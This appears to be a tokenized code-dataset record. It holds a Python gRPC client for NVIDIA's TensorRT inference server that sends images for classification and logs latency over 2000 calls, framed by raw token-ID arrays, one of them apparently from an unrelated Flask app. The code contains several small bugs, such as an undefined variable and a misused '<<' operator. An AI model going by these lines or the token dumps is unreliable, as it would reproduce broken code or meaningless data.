29918, 11911, 29918, 16447, 3108, 13, 13, 1678, 565, 7431, 29898, 710, 29898, 8921, 876, 1275, 29871, 29900, 470, 7431, 29898, 710, 29898, 2909, 29918, 3257, 876, 1275, 29871, 29900, 470, 7431, 29898, 710, 29898, 2909, 29918, 11911, 29918, 16447, 876, 1275, 29871, 29900, 29901, 13, 4706, 11013, 703, 6716, 310, 278, 1881, 1746, 338, 4069, 29892, 3113, 5445, 714, 599, 278, 3734, 4235, 29991, 1159, 13, 4706, 736, 6684, 29898, 2271, 29918, 1454, 703, 276, 2055, 355, 362, 5783, 13, 13, 1678, 565, 16151, 2804, 376, 29943, 424, 8995, 29908, 322, 16151, 2804, 376, 17241, 729, 29908, 322, 16151, 2804, 376, 29911, 1092, 5495, 1115, 13, 4706, 11013, 703, 29956, 29373, 16151, 1134, 29991, 1159, 13, 4706, 736, 6684, 29898, 2271, 29918, 1454, 703, 276, 2055, 355, 362, 5783, 13, 13, 1678, 565, 7431, 29898, 710, 29898, 276, 2055, 355, 362, 876, 1405, 29871, 29941, 29900, 29896, 29901, 13, 4706, 11013, 703, 3492, 5456, 2086, 1472, 29303, 1159, 13, 4706, 736, 6684, 29898, 2271, 29918, 1454, 703, 276, 2055, 355, 362, 5783, 13, 13, 1678, 590, 8977, 353, 426, 13, 4706, 376, 8921, 1115, 4148, 29892, 13, 4706, 376, 3257, 1115, 3143, 29918, 3257, 29892, 13, 4706, 376, 1885, 276, 1115, 16151, 29892, 13, 4706, 376, 11911, 29918, 12095, 29918, 2324, 1115, 3143, 29918, 11911, 29918, 16447, 29892, 13, 4706, 376, 276, 2055, 355, 362, 1115, 29303, 29913, 13, 13, 1678, 4333, 29889, 7851, 29918, 650, 29898, 1357, 8977, 29897, 13, 13, 1678, 11013, 703, 3492, 505, 1063, 2825, 263, 716, 3143, 29303, 29991, 1159, 13, 1678, 736, 6684, 29898, 2271, 29918, 1454, 703, 2248, 5783, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 5504, 29914, 29966, 667, 29918, 333, 29958, 1495, 13, 1753, 5445, 29918, 449, 29918, 5504, 29898, 667, 29918, 333, 1125, 13, 1678, 9995, 29954, 3145, 366, 1250, 278, 2767, 883, 411, 278, 4902, 310, 278, 18691, 3143, 15945, 29908, 13, 1678, 1178, 353, 6314, 29918, 1272, 29918, 5504, 29898, 667, 29918, 333, 29897, 13, 1678, 736, 4050, 29918, 6886, 877, 5504, 29889, 1420, 742, 3143, 29922, 333, 29897, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 5504, 29914, 29966, 333, 29958, 742, 3519, 29922, 3366, 5438, 20068, 13, 1753, 2767, 29898, 333, 1125, 13, 1678, 9995, 6422, 278, 4902, 310, 278, 18691, 3143, 15945, 29908, 13, 1678, 4148, 353, 2009, 29889, 689, 3366, 8921, 3108, 13, 1678, 3143, 29918, 3257, 353, 2009, 29889, 689, 3366, 2909, 29918, 3257, 3108, 13, 1678, 16151, 353, 2009, 29889, 689, 3366, 1885, 276, 3108, 13, 1678, 29303, 353, 2009, 29889, 689, 3366, 276, 2055, 355, 362, 3108, 13, 1678, 3143, 29918, 11911, 29918, 16447, 353, 2009, 29889, 689, 3366, 2909, 29918, 11911, 29918, 16447, 3108, 13, 13, 1678, 565, 7431, 29898, 710, 29898, 8921, 876, 1275, 29871, 29900, 470, 7431, 29898, 710, 29898, 2909, 29918, 3257, 876, 1275, 29871, 29900, 470, 7431, 29898, 710, 29898, 2909, 29918, 11911, 29918, 16447, 876, 1275, 29871, 29900, 29901, 13, 4706, 11013, 703, 6716, 310, 278, 1881, 1746, 338, 4069, 29892, 3113, 5445, 714, 599, 278, 3734, 4235, 29991, 1159, 13, 4706, 736, 6684, 29898, 2271, 29918, 1454, 703, 276, 2055, 355, 362, 5783, 13, 13, 1678, 565, 16151, 2804, 376, 29943, 424, 8995, 29908, 322, 16151, 2804, 376, 17241, 729, 29908, 322, 16151, 2804, 376, 29911, 1092, 5495, 1115, 13, 4706, 11013, 703, 29956, 29373, 16151, 1134, 29991, 1159, 13, 4706, 736, 6684, 29898, 2271, 29918, 1454, 703, 276, 2055, 355, 362, 5783, 13, 13, 1678, 565, 7431, 29898, 710, 29898, 276, 2055, 355, 362, 876, 1405, 29871, 29941, 29900, 29896, 29901, 13, 4706, 11013, 703, 3492, 5456, 2086, 1472, 29303, 1159, 13, 4706, 736, 4050, 29918, 6886, 877, 5504, 29889, 1420, 742, 3143, 29922, 15914, 29918, 1272, 29918, 5504, 29898, 333, 876, 13, 13, 1678, 590, 8977, 353, 426, 13, 4706, 376, 8921, 1115, 4148, 29892, 13, 4706, 376, 3257, 1115, 3143, 29918, 3257, 29892, 13, 4706, 376, 1885, 276, 1115, 16151, 29892, 13, 4706, 376, 11911, 29918, 12095, 29918, 2324, 1115, 3143, 29918, 11911, 29918, 16447, 29892, 13, 4706, 376, 276, 2055, 355, 362, 1115, 29303, 13, 1678, 500, 13, 13, 1678, 4333, 29889, 5504, 29918, 650, 29898, 13, 4706, 8853, 29918, 333, 1115, 4669, 1204, 29898, 333, 19230, 13, 4706, 426, 13, 9651, 3908, 842, 1115, 590, 8977, 13, 4706, 500, 13, 1678, 1723, 13, 13, 1678, 11013, 703, 3492, 505, 1063, 4784, 263, 716, 3143, 29303, 29991, 1159, 13, 13, 1678, 736, 6684, 29898, 2271, 29918, 1454, 703, 2248, 5783, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 8143, 29914, 29966, 667, 29918, 333, 29958, 1495, 13, 1753, 5217, 29898, 667, 29918, 333, 1125, 13, 1678, 9995, 12498, 10434, 3143, 515, 278, 1813, 15945, 29908, 13, 1678, 4333, 29889, 8143, 29918, 650, 29898, 13, 4706, 8853, 29918, 333, 1115, 4669, 1204, 29898, 667, 29918, 333, 19230, 13, 1678, 1723, 13, 13, 1678, 11013, 703, 3492, 505, 1063, 11132, 278, 10434, 3143, 29991, 1159, 13, 13, 1678, 736, 6684, 29898, 2271, 29918, 1454, 703, 2248, 5783, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 623, 29889, 3389, 29898, 3069, 29922, 359, 29889, 21813, 29889, 657, 703, 5690, 4968, 2011, 29922, 524, 29898, 359, 29889, 21813, 29889, 657, 703, 15082, 1159, 511, 4744, 29922, 8824, 29897, 13, 2 ]
src/clients/python/grpc_image_client.py
hsubbaraj/tensorrt-experiments
0
199009
#!/usr/bin/python # Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of NVIDIA CORPORATION nor the names of its # contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY # OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import argparse import time import numpy as np import pandas as pd import os from builtins import range from PIL import Image import grpc # Drop "from src.core import" because the import hierarchy in proto files # will be removed in Makefile.clients from tensorrtserver.api import api_pb2 from tensorrtserver.api import grpc_service_pb2 from tensorrtserver.api import grpc_service_pb2_grpc from tensorrtserver.api import model_config_pb2 from tensorrtserver.api import request_status_pb2 from tensorrtserver.api import server_status_pb2 FLAGS = None def _log(*args, **kwargs): print("[Client]", *args, **kwargs) def model_dtype_to_np(model_dtype): if model_dtype == model_config_pb2.TYPE_BOOL: return np.bool elif model_dtype == model_config_pb2.TYPE_INT8: return np.int8 elif model_dtype == model_config_pb2.TYPE_INT16: return np.int16 elif model_dtype == model_config_pb2.TYPE_INT32: return np.int32 elif model_dtype == model_config_pb2.TYPE_INT64: return np.int64 elif model_dtype == model_config_pb2.TYPE_UINT8: return np.uint8 elif model_dtype == model_config_pb2.TYPE_UINT16: return np.uint16 elif model_dtype == model_config_pb2.TYPE_FP16: return np.float16 elif model_dtype == model_config_pb2.TYPE_FP32: return np.float32 elif model_dtype == model_config_pb2.TYPE_FP64: return np.float64 return None def parse_model(status, model_name, batch_size, verbose=False): """ Check the configuration of a model to make sure it meets the requirements for an image classification network (as expected by this client) """ server_status = status.server_status if model_name not in server_status.model_status.keys(): raise Exception("unable to get status for '" + model_name + "'") status = server_status.model_status[model_name] config = status.config if len(config.input) != 1: raise Exception("expecting 1 input, got " + len(config.input)) if len(config.output) != 1: raise Exception("expecting 1 output, got " + len(config.output)) input = config.input[0] output = config.output[0] if output.data_type != model_config_pb2.TYPE_FP32: raise Exception("expecting output datatype to be TYPE_FP32, model '" + model_name + "' output type is " + model_config_pb2.DataType.Name(output.data_type)) # Output is expected to be a vector. But allow any number of # dimensions as long as all but 1 is size 1 (e.g. { 10 }, { 1, 10 # }, { 10, 1, 1 } are all ok). non_one_cnt = 0 for dim in output.dims: if dim > 1: non_one_cnt += 1 if non_one_cnt > 1: raise Exception("expecting model output to be a vector") # Model specifying maximum batch size of 0 indicates that batching # is not supported and so the input tensors do not expect an "N" # dimension (and 'batch_size' should be 1 so that only a single # image instance is inferred at a time). max_batch_size = config.max_batch_size if max_batch_size == 0: if batch_size != 1: raise Exception("batching not supported for model '" + model_name + "'") else: # max_batch_size > 0 if batch_size > max_batch_size: raise Exception("expecting batch size <= " + max_batch_size + " for model '" + model_name + "'") # Model input must have 3 dims, either CHW or HWC if len(input.dims) != 3: raise Exception("expecting input to have 3 dimensions, model '" + model_name + "' input has " << len(input.dims)) if ((input.format != model_config_pb2.ModelInput.FORMAT_NCHW) and (input.format != model_config_pb2.ModelInput.FORMAT_NHWC)): raise Exception("unexpected input format " + model_config_pb2.ModelInput.Format.Name(input.format) + ", expecting " + model_config_pb2.ModelInput.Format.Name(model_config_pb2.ModelInput.FORMAT_NCHW) + " or " + model_config_pb2.ModelInput.Format.Name(model_config_pb2.ModelInput.FORMAT_NHWC)) if input.format == model_config_pb2.ModelInput.FORMAT_NHWC: h = input.dims[0] w = input.dims[1] c = input.dims[2] else: c = input.dims[0] h = input.dims[1] w = input.dims[2] output_size = 1 for dim in output.dims: output_size = output_size * dim output_size = output_size * np.dtype(model_dtype_to_np(output.data_type)).itemsize return (input.name, output.name, c, h, w, input.format, model_dtype_to_np(input.data_type), output_size) def preprocess(img, format, dtype, c, h, w, scaling): """ Pre-process an image to meet the size, type and format requirements specified by the parameters. """ #np.set_printoptions(threshold='nan') if c == 1: sample_img = img.convert('L') else: sample_img = img.convert('RGB') resized_img = sample_img.resize((h, w), Image.BILINEAR) resized = np.array(resized_img) if resized.ndim == 2: resized = resized[:,:,np.newaxis] typed = resized.astype(dtype) if scaling == 'INCEPTION': scaled = (typed / 128) - 1 elif scaling == 'VGG': if c == 1: scaled = typed - np.asarray((128,), dtype=dtype) else: scaled = typed - np.asarray((123, 117, 104), dtype=dtype) else: scaled = typed # Swap to CHW if necessary if format == model_config_pb2.ModelInput.FORMAT_NCHW: ordered = np.transpose(scaled, (2, 0, 1)) else: ordered = scaled # Channels are in RGB order. Currently model configuration data # doesn't provide any information as to other channel orderings # (like BGR) so we just assume RGB. return ordered def postprocess(results, files, idx, batch_size, num_classes, verbose=False): """ Post-process results to show classifications. """ show_all = verbose or ((batch_size == 1) and (num_classes > 1)) if show_all: if idx == 0: print("Output probabilities:") print("batch {}:".format(idx)) if len(results) != 1: raise Exception("expected 1 result, got " + str(len(results))) batched_result = results[0].batch_classes if len(batched_result) != batch_size: raise Exception("expected " + str(batch_size) + " results, got " + str(len(batched_result))) # For each result in the batch count the top prediction. Since we # used the same image for every entry in the batch we expect the # top prediction to be the same for each entry... but this code # doesn't assume that. counts = dict() predictions = dict() for (index, result) in enumerate(batched_result): label = result.cls[0].label if label not in counts: counts[label] = 0 counts[label] += 1 predictions[label] = result.cls[0] # If requested, print all the class results for the entry if show_all: if (index >= len(files)): index = len(files) - 1 # Top 1, print compactly if len(result.cls) == 1: print("Image '{}': {} ({}) = {}".format( files[index], result.cls[0].idx, result.cls[0].label, result.cls[0].value)) else: print("Image '{}':".format(files[index])) for cls in result.cls: print(" {} ({}) = {}".format(cls.idx, cls.label, cls.value)) # Summary print("Prediction totals:") for (label, cnt) in counts.items(): cls = predictions[label] print("\tcnt={}\t({}) {}".format(cnt, cls.idx, cls.label)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-v', '--verbose', action="store_true", required=False, default=False, help='Enable verbose output') parser.add_argument('-m', '--model-name', type=str, required=True, help='Name of model') parser.add_argument('-x', '--model-version', type=str, required=False, help='Version of model. Default is to use latest version.') parser.add_argument('-b', '--batch-size', type=int, required=False, default=1, help='Batch size. Default is 1.') parser.add_argument('-c', '--classes', type=int, required=False, default=1, help='Number of class results to report. Default is 1.') parser.add_argument('-s', '--scaling', type=str, choices=['NONE', 'INCEPTION', 'VGG'], required=False, default='NONE', help='Type of scaling to apply to image pixels. Default is NONE.') parser.add_argument('-u', '--url', type=str, required=False, default='localhost:8001', help='Inference server URL. Default is localhost:8001.') parser.add_argument('-p', '--preprocessed', type=str, required=False, metavar='FILE', help='Write preprocessed image to specified file.') parser.add_argument('--result-name', type=str, required=False, help='Path to parquet file') parser.add_argument('image_filename', type=str, nargs='?', default=None, help='Input image.') FLAGS = parser.parse_args() # Create gRPC stub for communicating with the server channel = grpc.insecure_channel(FLAGS.url) grpc_stub = grpc_service_pb2_grpc.GRPCServiceStub(channel) # Prepare request for Status gRPC request = grpc_service_pb2.StatusRequest(model_name=FLAGS.model_name) # Call and receive response from Status gRPC response = grpc_stub.Status(request) # Make sure the model matches our requirements, and get some # properties of the model that we need for preprocessing input_name, output_name, c, h, w, format, dtype, output_size = parse_model( response, FLAGS.model_name, FLAGS.batch_size, FLAGS.verbose) # Prepare request for Infer gRPC # The meta data part can be reused across requests request = grpc_service_pb2.InferRequest() request.model_name = FLAGS.model_name if FLAGS.model_version is None: FLAGS.model_version = "" # using lastest version request.version = FLAGS.model_version request.meta_data.batch_size = FLAGS.batch_size output_message = api_pb2.InferRequestHeader.Output() output_message.name = output_name output_message.byte_size = output_size output_message.cls.count = FLAGS.classes request.meta_data.output.extend([output_message]) multiple_inputs = False batched_filenames = [] responses = [] if os.path.isdir(FLAGS.image_filename): files = [f for f in os.listdir(FLAGS.image_filename) if os.path.isfile(os.path.join(FLAGS.image_filename, f))] multiple_inputs = (len(files) > 1) input_bytes = None requests = [] filenames = [] # Place every 'batch_size' number of images into one request # and send it via AsyncRun() API. If the last request doesn't have # 'batch_size' input tensors, pad it with the last input tensor. cnt = 0 for idx in range(len(files)): filenames.append(files[idx]) img = Image.open(os.path.join(FLAGS.image_filename, files[idx])) input_tensor = preprocess(img, format, dtype, c, h, w, FLAGS.scaling) # This field can not be set until input tensor is obtained if len(request.meta_data.input) == 0: request.meta_data.input.add( name=input_name, byte_size=input_tensor.size * input_tensor.itemsize) if input_bytes is None: input_bytes = input_tensor.tobytes() else: input_bytes += input_tensor.tobytes() cnt += 1 if (idx + 1 == len(files)): while (cnt != FLAGS.batch_size): input_bytes += input_tensor.tobytes() cnt += 1 # Send the request and reset input_tensors if cnt >= FLAGS.batch_size: del request.raw_input[:] request.raw_input.extend([input_bytes]) # Call and receive future response from async Infer gRPC requests.append(grpc_stub.Infer.future(request)) input_bytes = None cnt = 0 batched_filenames.append(filenames) filenames = [] # Get results by send order for request in requests: responses.append(request.result()) else: batched_filenames.append([FLAGS.image_filename]) # Load and preprocess the image img = Image.open(FLAGS.image_filename) input_tensor = preprocess(img, format, dtype, c, h, w, FLAGS.scaling) request.meta_data.input.add( name=input_name, byte_size=input_tensor.size * input_tensor.itemsize) if FLAGS.preprocessed is not None: with open(preprocessed, "w") as file: file.write(input_tensor.tobytes()) # Need 'batch_size' copies of the input tensor... input_bytes = input_tensor.tobytes() for b in range(FLAGS.batch_size-1): input_bytes += input_tensor.tobytes() request.raw_input.extend([input_bytes]) # Call and receive response from Infer gRPC durations = [] for _ in range(2000): start = time.perf_counter() responses.append(grpc_stub.Infer(request)) end = time.perf_counter() duration_ms = (end - start) * 1000 durations.append(duration_ms) responses.append(grpc_stub.Infer(request)) # print(responses[0].request_status) # Save Data df = pd.DataFrame({"duration_ms": durations}) df.to_parquet('10.pq') mean, p99 = df["duration_ms"].mean(), np.percentile(durations, 99) _log(f"Mean Latency: {mean}, P99: {p99}") # TODO: Update postprocess #for idx in range(len(responses)): # postprocess(responses[idx].meta_data.output, batched_filenames[idx], # idx, FLAGS.batch_size, FLAGS.classes, # FLAGS.verbose or multiple_inputs)
[ 1, 18787, 4855, 29914, 2109, 29914, 4691, 13, 13, 29937, 14187, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29947, 29892, 405, 13044, 10764, 315, 1955, 29925, 1955, 8098, 29889, 2178, 10462, 21676, 29889, 13, 29937, 13, 29937, 4367, 391, 3224, 322, 671, 297, 2752, 322, 7581, 7190, 29892, 411, 470, 1728, 13, 29937, 21733, 29892, 526, 21905, 4944, 393, 278, 1494, 5855, 13, 29937, 526, 1539, 29901, 13, 29937, 29871, 334, 4367, 391, 3224, 29879, 310, 2752, 775, 1818, 11551, 278, 2038, 3509, 1266, 13, 29937, 1678, 8369, 29892, 445, 1051, 310, 5855, 322, 278, 1494, 2313, 433, 4193, 29889, 13, 29937, 29871, 334, 4367, 391, 3224, 29879, 297, 7581, 883, 1818, 18532, 278, 2038, 3509, 1266, 13, 29937, 1678, 8369, 29892, 445, 1051, 310, 5855, 322, 278, 1494, 2313, 433, 4193, 297, 278, 13, 29937, 1678, 5106, 322, 29914, 272, 916, 17279, 4944, 411, 278, 4978, 29889, 13, 29937, 29871, 334, 2448, 2121, 278, 1024, 310, 405, 13044, 10764, 315, 1955, 29925, 1955, 8098, 3643, 278, 2983, 310, 967, 13, 29937, 1678, 17737, 29560, 1122, 367, 1304, 304, 1095, 272, 344, 470, 27391, 9316, 10723, 13, 29937, 1678, 515, 445, 7047, 1728, 2702, 7536, 3971, 10751, 29889, 13, 29937, 13, 29937, 3446, 3235, 7791, 7818, 12982, 1525, 8519, 13756, 13044, 3352, 6770, 6093, 315, 4590, 29979, 22789, 3912, 379, 5607, 8032, 29903, 4954, 3289, 8519, 4907, 5300, 13764, 29979, 13, 29937, 8528, 15094, 1799, 6323, 306, 3580, 5265, 3352, 399, 1718, 29934, 13566, 29059, 29892, 2672, 6154, 15789, 4214, 29892, 350, 2692, 6058, 27848, 3352, 7495, 29892, 6093, 13, 29937, 306, 3580, 5265, 3352, 399, 1718, 29934, 13566, 29059, 8079, 341, 1001, 3210, 13566, 2882, 6227, 11937, 5300, 383, 1806, 8186, 1799, 15842, 319, 349, 8322, 2965, 13309, 1718, 13, 29937, 349, 4574, 13152, 1660, 319, 1525, 28657, 13875, 8890, 29928, 29889, 29871, 2672, 11698, 382, 29963, 3919, 24972, 9818, 6093, 315, 4590, 29979, 22789, 3912, 438, 29956, 13865, 6323, 13, 29937, 8707, 29911, 3960, 29933, 2692, 24125, 20700, 17705, 6181, 15842, 13764, 29979, 22471, 26282, 29892, 2672, 4571, 26282, 29892, 2672, 29907, 1367, 3919, 1964, 29892, 317, 4162, 8426, 1964, 29892, 13, 29937, 8528, 29923, 3580, 29931, 19926, 29892, 6323, 8707, 1660, 13356, 3919, 25758, 21330, 1529, 1692, 29903, 313, 1177, 6154, 15789, 4214, 29892, 350, 2692, 6058, 27848, 3352, 7495, 29892, 13, 29937, 13756, 29907, 11499, 13780, 8079, 27092, 1254, 1806, 26027, 21947, 29949, 8452, 6323, 26996, 29963, 2965, 2890, 29936, 11247, 1799, 8079, 501, 1660, 29892, 360, 8254, 29892, 6323, 13, 29937, 13756, 29943, 1806, 29903, 29936, 6323, 350, 3308, 8895, 1799, 2672, 4945, 29934, 4897, 29911, 2725, 29897, 29832, 8851, 5348, 12766, 17171, 29928, 5300, 6732, 13764, 29979, 6093, 18929, 13, 29937, 8079, 17705, 2882, 6227, 11937, 29892, 12317, 2544, 4448, 2672, 8707, 29911, 4717, 1783, 29892, 6850, 3960, 1783, 17705, 2882, 6227, 11937, 29892, 6323, 323, 8476, 13, 29937, 313, 1177, 6154, 15789, 4214, 405, 11787, 5265, 24647, 4741, 6323, 438, 29911, 4448, 22119, 1660, 29897, 9033, 3235, 4214, 2672, 13764, 29979, 399, 29909, 29979, 19474, 8079, 6093, 501, 1660, 13, 29937, 8079, 3446, 3235, 7791, 7818, 12982, 1525, 29892, 382, 29963, 1430, 10762, 11033, 18118, 1660, 29928, 8079, 6093, 21521, 1799, 8979, 6227, 11937, 8079, 20134, 3210, 21330, 1529, 1692, 29889, 13, 13, 5215, 1852, 5510, 13, 5215, 931, 13, 5215, 12655, 408, 7442, 13, 5215, 11701, 408, 10518, 13, 5215, 2897, 13, 3166, 4240, 1144, 1053, 3464, 13, 3166, 349, 6227, 1053, 7084, 13, 13, 5215, 867, 6739, 13, 29937, 20724, 376, 3166, 4765, 29889, 3221, 1053, 29908, 1363, 278, 1053, 21277, 297, 17814, 2066, 13, 29937, 674, 367, 6206, 297, 8561, 1445, 29889, 11303, 1237, 13, 3166, 12489, 2273, 2974, 29889, 2754, 1053, 7882, 29918, 24381, 29906, 13, 3166, 12489, 2273, 2974, 29889, 2754, 1053, 867, 6739, 29918, 5509, 29918, 24381, 29906, 13, 3166, 12489, 2273, 2974, 29889, 2754, 1053, 867, 6739, 29918, 5509, 29918, 24381, 29906, 29918, 629, 6739, 13, 3166, 12489, 2273, 2974, 29889, 2754, 1053, 1904, 29918, 2917, 29918, 24381, 29906, 13, 3166, 12489, 2273, 2974, 29889, 2754, 1053, 2009, 29918, 4882, 29918, 24381, 29906, 13, 3166, 12489, 2273, 2974, 29889, 2754, 1053, 1923, 29918, 4882, 29918, 24381, 29906, 13, 13, 18823, 10749, 353, 6213, 13, 13, 1753, 903, 1188, 10456, 5085, 29892, 3579, 19290, 1125, 13, 1678, 1596, 703, 29961, 4032, 29962, 613, 334, 5085, 29892, 3579, 19290, 29897, 13, 13, 1753, 1904, 29918, 29881, 1853, 29918, 517, 29918, 9302, 29898, 4299, 29918, 29881, 1853, 1125, 13, 13, 1678, 565, 1904, 29918, 29881, 1853, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 28443, 29901, 13, 4706, 736, 7442, 29889, 11227, 13, 1678, 25342, 1904, 29918, 29881, 1853, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 10192, 29947, 29901, 13, 4706, 736, 7442, 29889, 524, 29947, 13, 1678, 25342, 1904, 29918, 29881, 1853, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 10192, 29896, 29953, 29901, 13, 4706, 736, 7442, 29889, 524, 29896, 29953, 13, 1678, 25342, 1904, 29918, 29881, 1853, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 10192, 29941, 29906, 29901, 13, 4706, 736, 7442, 29889, 524, 29941, 29906, 13, 1678, 25342, 1904, 29918, 29881, 1853, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 10192, 29953, 29946, 29901, 13, 4706, 736, 7442, 29889, 524, 29953, 29946, 13, 1678, 25342, 1904, 29918, 29881, 1853, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 29965, 10192, 29947, 29901, 13, 4706, 736, 7442, 29889, 13470, 29947, 13, 1678, 25342, 1904, 29918, 29881, 1853, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 29965, 10192, 29896, 29953, 29901, 13, 4706, 736, 7442, 29889, 13470, 29896, 29953, 13, 1678, 25342, 1904, 29918, 29881, 1853, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 26353, 29896, 29953, 29901, 13, 4706, 736, 7442, 29889, 7411, 29896, 29953, 13, 1678, 25342, 1904, 29918, 29881, 1853, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 26353, 29941, 29906, 29901, 13, 4706, 736, 7442, 29889, 7411, 29941, 29906, 13, 1678, 25342, 1904, 29918, 29881, 1853, 1275, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 26353, 29953, 29946, 29901, 13, 4706, 736, 7442, 29889, 7411, 29953, 29946, 13, 1678, 736, 6213, 13, 13, 1753, 6088, 29918, 4299, 29898, 4882, 29892, 1904, 29918, 978, 29892, 9853, 29918, 2311, 29892, 26952, 29922, 8824, 1125, 13, 1678, 9995, 13, 1678, 5399, 278, 5285, 310, 263, 1904, 304, 1207, 1854, 372, 28103, 278, 13, 1678, 11780, 363, 385, 1967, 12965, 3564, 313, 294, 3806, 491, 13, 1678, 445, 3132, 29897, 13, 1678, 9995, 13, 1678, 1923, 29918, 4882, 353, 4660, 29889, 2974, 29918, 4882, 13, 1678, 565, 1904, 29918, 978, 451, 297, 1923, 29918, 4882, 29889, 4299, 29918, 4882, 29889, 8149, 7295, 13, 4706, 12020, 8960, 703, 348, 519, 304, 679, 4660, 363, 18793, 718, 1904, 29918, 978, 718, 13577, 1159, 13, 13, 1678, 4660, 353, 1923, 29918, 4882, 29889, 4299, 29918, 4882, 29961, 4299, 29918, 978, 29962, 13, 1678, 2295, 353, 4660, 29889, 2917, 13, 13, 1678, 565, 7431, 29898, 2917, 29889, 2080, 29897, 2804, 29871, 29896, 29901, 13, 4706, 12020, 8960, 703, 17854, 292, 29871, 29896, 1881, 29892, 2355, 376, 718, 7431, 29898, 2917, 29889, 2080, 876, 13, 1678, 565, 7431, 29898, 2917, 29889, 4905, 29897, 2804, 29871, 29896, 29901, 13, 4706, 12020, 8960, 703, 17854, 292, 29871, 29896, 1962, 29892, 2355, 376, 718, 7431, 29898, 2917, 29889, 4905, 876, 13, 13, 1678, 1881, 353, 2295, 29889, 2080, 29961, 29900, 29962, 13, 1678, 1962, 353, 2295, 29889, 4905, 29961, 29900, 29962, 13, 13, 1678, 565, 1962, 29889, 1272, 29918, 1853, 2804, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 11116, 29918, 26353, 29941, 29906, 29901, 13, 4706, 12020, 8960, 703, 17854, 292, 1962, 1418, 23179, 304, 367, 323, 6959, 29918, 26353, 29941, 29906, 29892, 1904, 18793, 718, 13, 462, 4706, 1904, 29918, 978, 718, 13577, 1962, 1134, 338, 376, 718, 13, 462, 4706, 1904, 29918, 2917, 29918, 24381, 29906, 29889, 1469, 1542, 29889, 1170, 29898, 4905, 29889, 1272, 29918, 1853, 876, 13, 13, 1678, 396, 10604, 338, 3806, 304, 367, 263, 4608, 29889, 1205, 2758, 738, 1353, 310, 13, 1678, 396, 13391, 408, 1472, 408, 599, 541, 29871, 29896, 338, 2159, 29871, 29896, 313, 29872, 29889, 29887, 29889, 426, 29871, 29896, 29900, 2981, 426, 29871, 29896, 29892, 29871, 29896, 29900, 13, 1678, 396, 2981, 426, 29871, 29896, 29900, 29892, 29871, 29896, 29892, 29871, 29896, 500, 526, 599, 3431, 467, 13, 1678, 1661, 29918, 650, 29918, 20047, 353, 29871, 29900, 13, 1678, 363, 3964, 297, 1962, 29889, 6229, 29879, 29901, 13, 4706, 565, 3964, 1405, 29871, 29896, 29901, 13, 9651, 1661, 29918, 650, 29918, 20047, 4619, 29871, 29896, 13, 9651, 565, 1661, 29918, 650, 29918, 20047, 1405, 29871, 29896, 29901, 13, 18884, 12020, 8960, 703, 17854, 292, 1904, 1962, 304, 367, 263, 4608, 1159, 13, 13, 1678, 396, 8125, 22146, 7472, 9853, 2159, 310, 29871, 29900, 14088, 393, 9853, 292, 13, 1678, 396, 338, 451, 6969, 322, 577, 278, 1881, 25187, 943, 437, 451, 2149, 385, 376, 29940, 29908, 13, 1678, 396, 9927, 313, 392, 525, 16175, 29918, 2311, 29915, 881, 367, 29871, 29896, 577, 393, 871, 263, 2323, 13, 1678, 396, 1967, 2777, 338, 10115, 1127, 472, 263, 931, 467, 13, 1678, 4236, 29918, 16175, 29918, 2311, 353, 2295, 29889, 3317, 29918, 16175, 29918, 2311, 13, 1678, 565, 4236, 29918, 16175, 29918, 2311, 1275, 29871, 29900, 29901, 13, 4706, 565, 9853, 29918, 2311, 2804, 29871, 29896, 29901, 13, 9651, 12020, 8960, 703, 16175, 292, 451, 6969, 363, 1904, 18793, 718, 1904, 29918, 978, 718, 13577, 1159, 13, 1678, 1683, 29901, 396, 4236, 29918, 16175, 29918, 2311, 1405, 29871, 29900, 13, 4706, 565, 9853, 29918, 2311, 1405, 4236, 29918, 16175, 29918, 2311, 29901, 13, 9651, 12020, 8960, 703, 17854, 292, 9853, 2159, 5277, 376, 718, 4236, 29918, 16175, 29918, 2311, 718, 13, 462, 9651, 376, 363, 1904, 18793, 718, 1904, 29918, 978, 718, 13577, 1159, 13, 13, 1678, 396, 